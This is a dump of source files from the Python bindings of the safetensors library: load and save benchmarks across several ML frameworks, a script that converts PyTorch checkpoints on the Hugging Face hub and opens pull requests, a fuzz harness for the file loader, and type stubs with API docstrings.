def test_mlx_mlx_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
filename = f"{f.name}.npz"
mx.savez(filename, **weights)
result = benchmark(load, filename)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert mx.allclose(v, tv)
def test_mlx_sf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert mx.allclose(v, tv)
safetensors-safetensors-a406ca3/bindings/python/benches/test_paddle.py 0000664 0000000 0000000 00000003660 15211744761 0026407 0 ustar 00root root 0000000 0000000 import os
import tempfile
import numpy as np
import paddle
from safetensors.paddle import load_file, save_file
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = paddle.zeros((50257, 768))
tensors["wpe"] = paddle.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = paddle.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = paddle.zeros((768,))
tensors[f"h.{i}.attn.bias"] = paddle.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = paddle.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = paddle.zeros((2304,))
tensors[f"h.{i}.attn.c_proj.weight"] = paddle.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = paddle.zeros((768,))
tensors[f"h.{i}.ln_2.weight"] = paddle.zeros((768,))
tensors[f"h.{i}.ln_2.bias"] = paddle.zeros((768,))
tensors[f"h.{i}.mlp.c_fc.weight"] = paddle.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = paddle.zeros((3072,))
tensors[f"h.{i}.mlp.c_proj.weight"] = paddle.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = paddle.zeros((768,))
tensors["ln_f.weight"] = paddle.zeros((768,))
tensors["ln_f.bias"] = paddle.zeros((768,))
return tensors
def test_paddle_paddle_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
paddle.save(weights, f.name)
result = benchmark(paddle.load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert paddle.allclose(v, tv)
def test_paddle_sf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert np.allclose(v, tv)
safetensors-safetensors-a406ca3/bindings/python/benches/test_pt.py 0000664 0000000 0000000 00000016300 15211744761 0025574 0 ustar 00root root 0000000 0000000 import os
import tempfile
import pytest
import torch
from safetensors.torch import load_file, save_file
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = torch.zeros((50257, 768))
tensors["wpe"] = torch.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = torch.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = torch.zeros((768,))
tensors[f"h.{i}.attn.bias"] = torch.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = torch.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = torch.zeros((2304))
tensors[f"h.{i}.attn.c_proj.weight"] = torch.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = torch.zeros((768))
tensors[f"h.{i}.ln_2.weight"] = torch.zeros((768))
tensors[f"h.{i}.ln_2.bias"] = torch.zeros((768))
tensors[f"h.{i}.mlp.c_fc.weight"] = torch.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = torch.zeros((3072))
tensors[f"h.{i}.mlp.c_proj.weight"] = torch.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = torch.zeros((768))
tensors["ln_f.weight"] = torch.zeros((768))
tensors["ln_f.bias"] = torch.zeros((768))
return tensors
def create_lora(n_layers: int):
tensors = {}
for i in range(n_layers):
tensors[f"lora.{i}.up.weight"] = torch.zeros((32, 32))
tensors[f"lora.{i}.down.weight"] = torch.zeros((32, 32))
return tensors
def test_pt_pt_load_cpu(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
torch.save(weights, f)
result = benchmark(torch.load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_sf_load_cpu(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_sf_load_cpu_pread(benchmark):
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name, backend="pread")
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_pt_load_cpu_small(benchmark):
weights = create_lora(500)
with tempfile.NamedTemporaryFile(delete=False) as f:
torch.save(weights, f)
result = benchmark(torch.load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_sf_load_cpu_small(benchmark):
weights = create_lora(500)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_sf_load_cpu_small_pread(benchmark):
weights = create_lora(500)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name, backend="pread")
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(not torch.cuda.is_available(), reason="requires cuda")
def test_pt_pt_load_gpu(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
torch.save(weights, f)
result = benchmark(torch.load, f.name, map_location="cuda:0")
os.unlink(f.name)
for k, v in weights.items():
v = v.cuda()
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(not torch.cuda.is_available(), reason="requires cuda")
def test_pt_sf_load_gpu(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name, device="cuda:0")
os.unlink(f.name)
for k, v in weights.items():
v = v.cuda()
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(not torch.cuda.is_available(), reason="requires cuda")
def test_pt_sf_load_gpu_pread(benchmark):
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name, device="cuda:0", backend="pread")
os.unlink(f.name)
for k, v in weights.items():
v = v.cuda()
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(
not hasattr(torch.backends, "mps") or not torch.backends.mps.is_available(),
reason="requires mps",
)
def test_pt_pt_load_mps(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
torch.save(weights, f)
result = benchmark(torch.load, f.name, map_location="mps")
os.unlink(f.name)
for k, v in weights.items():
v = v.to(device="mps")
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(
not hasattr(torch.backends, "mps") or not torch.backends.mps.is_available(),
reason="requires mps",
)
def test_pt_sf_load_mps(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name, device="mps")
os.unlink(f.name)
for k, v in weights.items():
v = v.to(device="mps")
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(
not hasattr(torch.backends, "mps") or not torch.backends.mps.is_available(),
reason="requires mps",
)
def test_pt_sf_load_mps_pread(benchmark):
# On Apple-silicon MPS, get_tensors() allocates Shared MTLBuffers and
# parallel-preads into them, then hands off via DLPack. The `backend`
# kwarg selects how bytes are sourced (pread here).
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name, device="mps", backend="pread")
os.unlink(f.name)
for k, v in weights.items():
v = v.to(device="mps")
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_sf_save_cpu(benchmark):
weights = create_gpt2(12)
filename = "tmp.safetensors"
# XXX: On some platforms (tested on Linux x86_64 ext4), writing to an already existing file is slower than creating a new one.
# On others, such as MacOS (APFS), it's the opposite. To have more consistent benchmarks,
# we ensure the file does not exist before each write, which is also closer to real world usage.
def setup():
try:
os.unlink(filename)
except Exception:
pass
benchmark.pedantic(
save_file, args=(weights, filename), setup=setup, iterations=1, rounds=5
)
# Clean up files
os.unlink(filename)
safetensors-safetensors-a406ca3/bindings/python/benches/test_tf.py 0000664 0000000 0000000 00000005107 15211744761 0025565 0 ustar 00root root 0000000 0000000 import os
import tempfile
import h5py
import numpy as np
import tensorflow as tf
from safetensors.tensorflow import load_file, save_file
def _load(filename, tensors=None, prefix=""):
with h5py.File(filename, "r") as f:
if tensors is None:
tensors = {}
for k in f.keys():
if isinstance(f[k], h5py._hl.dataset.Dataset):
key = k if not prefix else f"{prefix}_{k}"
tensors[key] = tf.convert_to_tensor(np.array(f[k]))
else:
tensors.update(_load(f[k], tensors, prefix=f"{prefix}_{k}"))
return tensors
def _save(filename, tensors, prefix=""):
with h5py.File(filename, "w") as f:
for name, tensor in tensors.items():
tensor = tensor.numpy()
dset = f.create_dataset(name, tensor.shape, dtype=tensor.dtype)
dset[:] = tensor
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = tf.zeros((50257, 768))
tensors["wpe"] = tf.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = tf.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = tf.zeros((768,))
tensors[f"h.{i}.attn.bias"] = tf.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = tf.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = tf.zeros((2304))
tensors[f"h.{i}.attn.c_proj.weight"] = tf.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = tf.zeros((768))
tensors[f"h.{i}.ln_2.weight"] = tf.zeros((768))
tensors[f"h.{i}.ln_2.bias"] = tf.zeros((768))
tensors[f"h.{i}.mlp.c_fc.weight"] = tf.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = tf.zeros((3072))
tensors[f"h.{i}.mlp.c_proj.weight"] = tf.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = tf.zeros((768))
tensors["ln_f.weight"] = tf.zeros((768))
tensors["ln_f.bias"] = tf.zeros((768))
return tensors
def test_tf_tf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
_save(f.name, weights)
result = benchmark(_load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert np.allclose(v, tv)
def test_tf_sf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert np.allclose(v, tv)
safetensors-safetensors-a406ca3/bindings/python/convert.py 0000664 0000000 0000000 00000040167 15211744761 0024173 0 ustar 00root root 0000000 0000000 import argparse
import json
import os
import shutil
from collections import defaultdict
from tempfile import TemporaryDirectory
from typing import Dict, List, Optional, Set, Tuple
import torch
from huggingface_hub import (
CommitInfo,
CommitOperationAdd,
Discussion,
HfApi,
hf_hub_download,
)
from huggingface_hub.file_download import repo_folder_name
from safetensors.torch import _find_shared_tensors, _is_complete, load_file, save_file
COMMIT_DESCRIPTION = """
This is an automated PR created with https://huggingface.co/spaces/safetensors/convert
This new file is equivalent to `pytorch_model.bin` but safe in the sense that
no arbitrary code can be put into it.
These files also happen to load much faster than their pytorch counterpart:
https://colab.research.google.com/github/huggingface/notebooks/blob/main/safetensors_doc/en/speed.ipynb
The widgets on your model page will run using this model even if this is not merged
making sure the file actually works.
If you find any issues: please report here: https://huggingface.co/spaces/safetensors/convert/discussions
Feel free to ignore this PR.
"""
ConversionResult = Tuple[List["CommitOperationAdd"], List[Tuple[str, "Exception"]]]
def _remove_duplicate_names(
state_dict: Dict[str, torch.Tensor],
*,
preferred_names: List[str] = None,
discard_names: List[str] = None,
) -> Dict[str, List[str]]:
if preferred_names is None:
preferred_names = []
preferred_names = set(preferred_names)
if discard_names is None:
discard_names = []
discard_names = set(discard_names)
shareds = _find_shared_tensors(state_dict)
to_remove = defaultdict(list)
for shared in shareds:
complete_names = set(
[name for name in shared if _is_complete(state_dict[name])]
)
if not complete_names:
if len(shared) == 1:
# Force contiguous
name = list(shared)[0]
state_dict[name] = state_dict[name].clone()
complete_names = {name}
else:
raise RuntimeError(
f"Error while trying to find names to remove to save state dict, but found no suitable name to keep for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model since you could be storing much more memory than needed. Please refer to https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an issue."
)
keep_name = sorted(list(complete_names))[0]
# Mecanism to preferentially select keys to keep
# coming from the on-disk file to allow
# loading models saved with a different choice
# of keep_name
preferred = complete_names.difference(discard_names)
if preferred:
keep_name = sorted(list(preferred))[0]
if preferred_names:
preferred = preferred_names.intersection(complete_names)
if preferred:
keep_name = sorted(list(preferred))[0]
for name in sorted(shared):
if name != keep_name:
to_remove[keep_name].append(name)
return to_remove
def get_discard_names(
model_id: str, revision: Optional[str], folder: str, token: Optional[str]
) -> List[str]:
try:
import json
import transformers
config_filename = hf_hub_download(
model_id,
revision=revision,
filename="config.json",
token=token,
cache_dir=folder,
)
with open(config_filename, "r") as f:
config = json.load(f)
architecture = config["architectures"][0]
class_ = getattr(transformers, architecture)
# Name for this varible depends on transformers version.
discard_names = getattr(class_, "_tied_weights_keys", [])
except Exception:
discard_names = []
return discard_names
class AlreadyExists(Exception):
pass
def check_file_size(sf_filename: str, pt_filename: str):
sf_size = os.stat(sf_filename).st_size
pt_size = os.stat(pt_filename).st_size
if (sf_size - pt_size) / pt_size > 0.01:
raise RuntimeError(
f"""The file size different is more than 1%:
- {sf_filename}: {sf_size}
- {pt_filename}: {pt_size}
"""
)
def rename(pt_filename: str) -> str:
filename, ext = os.path.splitext(pt_filename)
local = f"{filename}.safetensors"
local = local.replace("pytorch_model", "model")
return local
def convert_multi(
model_id: str,
*,
revision=Optional[str],
folder: str,
token: Optional[str],
discard_names: List[str],
) -> ConversionResult:
filename = hf_hub_download(
repo_id=model_id,
revision=revision,
filename="pytorch_model.bin.index.json",
token=token,
cache_dir=folder,
)
with open(filename, "r") as f:
data = json.load(f)
filenames = set(data["weight_map"].values())
local_filenames = []
for filename in filenames:
pt_filename = hf_hub_download(
repo_id=model_id, filename=filename, token=token, cache_dir=folder
)
sf_filename = rename(pt_filename)
sf_filename = os.path.join(folder, sf_filename)
convert_file(pt_filename, sf_filename, discard_names=discard_names)
local_filenames.append(sf_filename)
index = os.path.join(folder, "model.safetensors.index.json")
with open(index, "w") as f:
newdata = {k: v for k, v in data.items()}
newmap = {k: rename(v) for k, v in data["weight_map"].items()}
newdata["weight_map"] = newmap
json.dump(newdata, f, indent=4)
local_filenames.append(index)
operations = [
CommitOperationAdd(path_in_repo=local.split("/")[-1], path_or_fileobj=local)
for local in local_filenames
]
errors: List[Tuple[str, "Exception"]] = []
return operations, errors
def convert_single(
model_id: str,
*,
revision: Optional[str],
folder: str,
token: Optional[str],
discard_names: List[str],
) -> ConversionResult:
pt_filename = hf_hub_download(
repo_id=model_id,
revision=revision,
filename="pytorch_model.bin",
token=token,
cache_dir=folder,
)
sf_name = "model.safetensors"
sf_filename = os.path.join(folder, sf_name)
convert_file(pt_filename, sf_filename, discard_names)
operations = [CommitOperationAdd(path_in_repo=sf_name, path_or_fileobj=sf_filename)]
errors: List[Tuple[str, "Exception"]] = []
return operations, errors
def convert_file(
pt_filename: str,
sf_filename: str,
discard_names: List[str],
):
loaded = torch.load(pt_filename, map_location="cpu", weights_only=True)
if "state_dict" in loaded:
loaded = loaded["state_dict"]
to_removes = _remove_duplicate_names(loaded, discard_names=discard_names)
metadata = {"format": "pt"}
for kept_name, to_remove_group in to_removes.items():
for to_remove in to_remove_group:
if to_remove not in metadata:
metadata[to_remove] = kept_name
del loaded[to_remove]
# Force tensors to be contiguous
loaded = {k: v.contiguous() for k, v in loaded.items()}
dirname = os.path.dirname(sf_filename)
os.makedirs(dirname, exist_ok=True)
save_file(loaded, sf_filename, metadata=metadata)
check_file_size(sf_filename, pt_filename)
reloaded = load_file(sf_filename)
for k in loaded:
pt_tensor = loaded[k]
sf_tensor = reloaded[k]
if not torch.equal(pt_tensor, sf_tensor):
raise RuntimeError(f"The output tensors do not match for key {k}")
def create_diff(pt_infos: Dict[str, List[str]], sf_infos: Dict[str, List[str]]) -> str:
errors = []
for key in ["missing_keys", "mismatched_keys", "unexpected_keys"]:
pt_set = set(pt_infos[key])
sf_set = set(sf_infos[key])
pt_only = pt_set - sf_set
sf_only = sf_set - pt_set
if pt_only:
errors.append(
f"{key} : PT warnings contain {pt_only} which are not present in SF warnings"
)
if sf_only:
errors.append(
f"{key} : SF warnings contain {sf_only} which are not present in PT warnings"
)
return "\n".join(errors)
def previous_pr(
api: "HfApi", model_id: str, pr_title: str, revision=Optional[str]
) -> Optional["Discussion"]:
try:
revision_commit = api.model_info(model_id, revision=revision).sha
discussions = api.get_repo_discussions(repo_id=model_id)
except Exception:
return None
for discussion in discussions:
if (
discussion.status in {"open", "closed"}
and discussion.is_pull_request
and discussion.title == pr_title
):
commits = api.list_repo_commits(model_id, revision=discussion.git_reference)
if revision_commit == commits[1].commit_id:
return discussion
return None
def convert_generic(
model_id: str,
*,
revision=Optional[str],
folder: str,
filenames: Set[str],
token: Optional[str],
discard_names: List[str],
) -> ConversionResult:
operations = []
errors = []
extensions = set([".bin", ".ckpt"])
for filename in filenames:
prefix, ext = os.path.splitext(filename)
if ext in extensions:
pt_filename = hf_hub_download(
model_id,
revision=revision,
filename=filename,
token=token,
cache_dir=folder,
)
dirname, raw_filename = os.path.split(filename)
if raw_filename == "pytorch_model.bin":
# XXX: This is a special case to handle `transformers` and the
# `transformers` part of the model which is actually loaded by `transformers`.
sf_in_repo = os.path.join(dirname, "model.safetensors")
else:
sf_in_repo = f"{prefix}.safetensors"
sf_filename = os.path.join(folder, sf_in_repo)
try:
convert_file(pt_filename, sf_filename, discard_names=discard_names)
operations.append(
CommitOperationAdd(
path_in_repo=sf_in_repo, path_or_fileobj=sf_filename
)
)
except Exception as e:
errors.append((pt_filename, e))
return operations, errors
def convert(
api: "HfApi", model_id: str, revision: Optional[str] = None, force: bool = False
) -> Tuple["CommitInfo", List[Tuple[str, "Exception"]]]:
pr_title = "Adding `safetensors` variant of this model"
info = api.model_info(model_id, revision=revision)
filenames = set(s.rfilename for s in info.siblings)
with TemporaryDirectory() as d:
folder = os.path.join(d, repo_folder_name(repo_id=model_id, repo_type="models"))
os.makedirs(folder)
new_pr = None
# Exception handling already happen inside this function
discard_names = get_discard_names(
model_id, revision=revision, folder=folder, token=api.token
)
try:
operations = None
pr = previous_pr(api, model_id, pr_title, revision=revision)
library_name = getattr(info, "library_name", None)
if (
any(filename.endswith(".safetensors") for filename in filenames)
and not force
):
raise AlreadyExists(
f"Model {model_id} is already converted, skipping.."
)
elif (pr is not None and pr.author == "SFconvertbot") and not force:
url = f"https://huggingface.co/{model_id}/discussions/{pr.num}"
new_pr = pr
raise AlreadyExists(
f"Model {model_id} already has an open PR check out {url}"
)
elif library_name == "transformers":
if "pytorch_model.bin" in filenames:
operations, errors = convert_single(
model_id,
revision=revision,
folder=folder,
token=api.token,
discard_names=discard_names,
)
elif "pytorch_model.bin.index.json" in filenames:
operations, errors = convert_multi(
model_id,
revision=revision,
folder=folder,
token=api.token,
discard_names=discard_names,
)
else:
raise RuntimeError(
f"Model {model_id} doesn't seem to be a valid pytorch model. Cannot convert"
)
else:
operations, errors = convert_generic(
model_id,
revision=revision,
folder=folder,
filenames=filenames,
token=api.token,
discard_names=discard_names,
)
if operations:
# Checking that no PR have been created during the conversion in case of duplicate conversion requests.
pr = previous_pr(api, model_id, pr_title, revision=revision)
if pr is not None and not force:
url = f"https://huggingface.co/{model_id}/discussions/{pr.num}"
new_pr = pr
raise AlreadyExists(
f"Model {model_id} already has an open PR check out {url}"
)
new_pr = api.create_commit(
repo_id=model_id,
revision=revision,
operations=operations,
commit_message=pr_title,
commit_description=COMMIT_DESCRIPTION,
create_pr=True,
)
print(f"Pr created at {new_pr.pr_url}")
else:
print("No files to convert")
finally:
shutil.rmtree(folder)
return new_pr, errors
if __name__ == "__main__":
DESCRIPTION = """
Simple utility tool to convert automatically some weights on the hub to `safetensors` format.
It is PyTorch exclusive for now.
It works by downloading the weights (PT), converting them locally, and uploading them back
as a PR on the hub.
"""
parser = argparse.ArgumentParser(description=DESCRIPTION)
parser.add_argument(
"model_id",
type=str,
help="The name of the model on the hub to convert. E.g. `gpt2` or `facebook/wav2vec2-base-960h`",
)
parser.add_argument(
"--revision",
type=str,
help="The revision to convert",
)
parser.add_argument(
"--force",
action="store_true",
help="Create the PR even if it already exists of if the model was already converted.",
)
parser.add_argument(
"-y",
action="store_true",
help="Ignore safety prompt",
)
args = parser.parse_args()
model_id = args.model_id
api = HfApi()
if args.y:
txt = "y"
else:
txt = input(
"This conversion script will unpickle a pickled file, which is inherently unsafe. If you do not trust this file, we invite you to use"
" https://huggingface.co/spaces/safetensors/convert or google colab or other hosted solution to avoid potential issues with this file."
" Continue [Y/n] ?"
)
if txt.lower() in {"", "y"}:
commit_info, errors = convert(
api, model_id, revision=args.revision, force=args.force
)
string = f"""
### Success 🔥
Yay! This model was successfully converted and a PR was open using your token, here:
[{commit_info.pr_url}]({commit_info.pr_url})
"""
if errors:
string += "\nErrors during conversion:\n"
string += "\n".join(
f"Error while converting {filename}: {e}, skipped conversion"
for filename, e in errors
)
print(string)
else:
print(f"Answer was `{txt}` aborting.")
safetensors-safetensors-a406ca3/bindings/python/convert_all.py 0000664 0000000 0000000 00000002740 15211744761 0025016 0 ustar 00root root 0000000 0000000 """Simple utility tool to convert automatically most downloaded models"""
from convert import AlreadyExists, convert
from huggingface_hub import HfApi, ModelFilter, ModelSearchArguments
from transformers import AutoConfig
if __name__ == "__main__":
api = HfApi()
args = ModelSearchArguments()
total = 50
models = list(
api.list_models(
filter=ModelFilter(library=args.library.Transformers),
sort="downloads",
direction=-1,
)
)[:total]
correct = 0
errors = set()
for model in models:
model = api.model_info(model.id, files_metadata=True)
size = None
for sibling in model.siblings:
if sibling.rfilename == "pytorch_model.bin":
size = sibling.size
if size is None or size > 2_000_000_000:
print(f"[{model.downloads}] Skipping {model.modelId} (too large {size})")
continue
model_id = model.modelId
print(f"[{model.downloads}] {model.modelId}")
try:
convert(api, model_id)
correct += 1
except AlreadyExists as e:
correct += 1
print(e)
except Exception as e:
config = AutoConfig.from_pretrained(model_id)
errors.add(config.__class__.__name__)
print(e)
print(f"Errors: {errors}")
print(f"File size is difference {len(errors)}")
print(f"Correct rate {correct}/{total} ({correct / total * 100:.2f}%)")
safetensors-safetensors-a406ca3/bindings/python/fuzz.py 0000664 0000000 0000000 00000001331 15211744761 0023477 0 ustar 00root root 0000000 0000000 import datetime
import sys
import tempfile
from collections import defaultdict
import atheris
with atheris.instrument_imports():
from safetensors.torch import load_file
EXCEPTIONS = defaultdict(int)
START = datetime.datetime.now()
DT = datetime.timedelta(seconds=30)
def TestOneInput(data):
global START
with tempfile.NamedTemporaryFile() as f:
f.write(data)
f.seek(0)
try:
load_file(f.name, device=0)
except Exception as e:
EXCEPTIONS[str(e)] += 1
if datetime.datetime.now() - START > DT:
for e, n in EXCEPTIONS.items():
print(e, n)
START = datetime.datetime.now()
atheris.Setup(sys.argv, TestOneInput)
atheris.Fuzz()
safetensors-safetensors-a406ca3/bindings/python/py_src/ 0000775 0000000 0000000 00000000000 15211744761 0023430 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/ 0000775 0000000 0000000 00000000000 15211744761 0025764 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/__init__.py 0000664 0000000 0000000 00000000322 15211744761 0030072 0 ustar 00root root 0000000 0000000 # Re-export this
from ._safetensors_rust import ( # noqa: F401
SafetensorError,
TensorSpec,
__version__,
deserialize,
safe_open,
_safe_open_handle,
serialize,
serialize_file,
)
safetensors-safetensors-a406ca3/bindings/python/py_src/safetensors/__init__.pyi 0000664 0000000 0000000 00000022677 15211744761 0030264 0 ustar 00root root 0000000 0000000 # Generated content — partially. The structure and docstrings are produced by
# `python stub.py`. The following are hand-edited additions that must be
# re-applied after each regeneration:
# - module-level imports (`os`, `typing`)
# - `__version__: str`
# - type annotations on `TensorSpec` / `serialize` / `serialize_file`
#
# TODO: once we upgrade pyo3 to >= 0.28, replace `stub.py` with a dedicated
# `tools/stub-gen` binary using `pyo3-introspection`,
# mirroring how `huggingface/tokenizers` does it (see PR #1928).
# That generator emits typed stubs directly from Rust
# signatures — no hand-editing, no drift.
import os
from typing import Dict, List, Optional, Sequence, Union
__version__: str
@staticmethod
def deserialize(bytes):
"""
Opens a safetensors lazily and returns tensors as asked
Args:
data (`bytes`):
The byte content of a file
Returns:
(`List[str, Dict[str, Dict[str, any]]]`):
The deserialized content is like:
[("tensor_name", {"shape": [2, 3], "dtype": "F32", "data": b"\0\0.." }), (...)]
"""
pass
@staticmethod
def serialize(
tensor_dict: Dict[str, TensorSpec],
metadata: Optional[Dict[str, str]] = None,
) -> bytes:
"""
Serializes raw data.
NOTE: the caller is required to ensure any pointer passed via `TensorSpec.data_ptr` is valid
and stays alive for the duration of the serialization.
We will remove the need for the caller to hold references themselves when we drop support for
python versions prior to 3.11 where the `PyBuffer` API is available.
Creating a `PyBuffer` will enable us to hold a reference to each passed in data array,
increasing its ref count preventing the gc from collecting it while we serialize.
Args:
tensor_dict (`Dict[str, TensorSpec]`):
Mapping of tensor name to its `TensorSpec`, e.g.:
{"tensor_name": TensorSpec(dtype="float32", shape=[2, 3], data_ptr=1234, data_len=24)}
metadata (`Dict[str, str]`, *optional*):
The optional purely text annotations
Returns:
(`bytes`):
The serialized content.
"""
pass
@staticmethod
def serialize_file(
tensor_dict: Dict[str, TensorSpec],
filename: Union[str, "os.PathLike[str]"],
metadata: Optional[Dict[str, str]] = None,
) -> None:
"""
Serializes raw data into file.
NOTE: the caller is required to ensure any pointer passed via `TensorSpec.data_ptr` is valid
and stays alive for the duration of the serialization.
We will remove the need for the caller to hold references themselves when we drop support for
python versions prior to 3.11 where the `PyBuffer` API is available.
Creating a `PyBuffer` will enable us to hold a reference to each passed in data array,
increasing its ref count preventing the gc from collecting it while we serialize.
Args:
tensor_dict (`Dict[str, TensorSpec]`):
Mapping of tensor name to its `TensorSpec`, e.g.:
{"tensor_name": TensorSpec(dtype="float32", shape=[2, 3], data_ptr=1234, data_len=24)}
filename (`str`, or `os.PathLike`):
The name of the file to write into.
metadata (`Dict[str, str]`, *optional*):
The optional purely text annotations
Returns:
(`NoneType`):
On success return None
"""
pass
class TensorSpec:
"""
Describes a single tensor passed to [`serialize`] / [`serialize_file`].
Constructed from Python as `TensorSpec(dtype, shape, data_ptr, data_len)`.
The dtype string is validated at construction; an unknown dtype raises
immediately rather than failing further inside the serializer.
`shape` is the logical (header) shape — the number of elements along each
axis as recorded in the safetensors header. For packed dtypes like
`float4_e2m1fn_x2` (two F4 values per byte), callers may pass the storage
shape reported by their framework (e.g. `torch.Size`); the constructor
transparently doubles the last dimension so `spec.shape` always reflects
the logical element count.
SAFETY: `data_ptr` is a raw memory address. The caller must ensure the
underlying buffer stays alive for the duration of every `serialize` /
`serialize_file` call that consumes this spec.
"""
def __init__(
self,
*,
dtype: str,
shape: Sequence[int],
data_ptr: int,
data_len: int,
) -> None:
pass
@property
def data_len(self) -> int:
"""
The length of the tensor's buffer in bytes.
"""
pass
@property
def data_ptr(self) -> int:
"""
The raw memory address of the tensor's contiguous buffer.
"""
pass
@property
def dtype(self) -> str:
"""
The tensor's dtype as its safetensors format code (e.g. `"F32"`, `"BF16"`,
`"F8_E5M2FNUZ"`). This is the identifier written into the safetensors
header, not the Python constructor-style name (`"float32"` etc.).
"""
pass
@property
def shape(self) -> List[int]:
"""
The tensor's logical shape — the element-count shape recorded in the
safetensors header. For packed dtypes like `float4_e2m1fn_x2`, this is
the last-dim-doubled version of whatever was passed to the constructor.
"""
pass
class safe_open:
"""
Opens a safetensors lazily and returns tensors as asked
Args:
filename (`str`, or `os.PathLike`):
The filename to open
framework (`str`):
The framework you want you tensors in. Supported values:
`pt`, `tf`, `flax`, `numpy`.
device (`str`, defaults to `"cpu"`):
The device on which you want the tensors.
backend (`str`, *keyword-only*, defaults to `"mmap"`):
Storage backend used to serve tensor bytes. `"mmap"` (the default)
memory-maps the file; `"pread"` reads tensor bytes with `pread(2)`.
On Apple-silicon MPS, prefer `"pread"`: it reads straight into the
shared `MTLBuffer` (1x model memory, no page-cache duplication) and
loads a full model several times faster than `"mmap"`.
"""
def __init__(self, filename, framework, device=..., *, backend: str = "mmap"):
pass
def __enter__(self):
"""
Start the context manager
"""
pass
def __exit__(self, _exc_type, _exc_value, _traceback):
"""
Exits the context manager
"""
pass
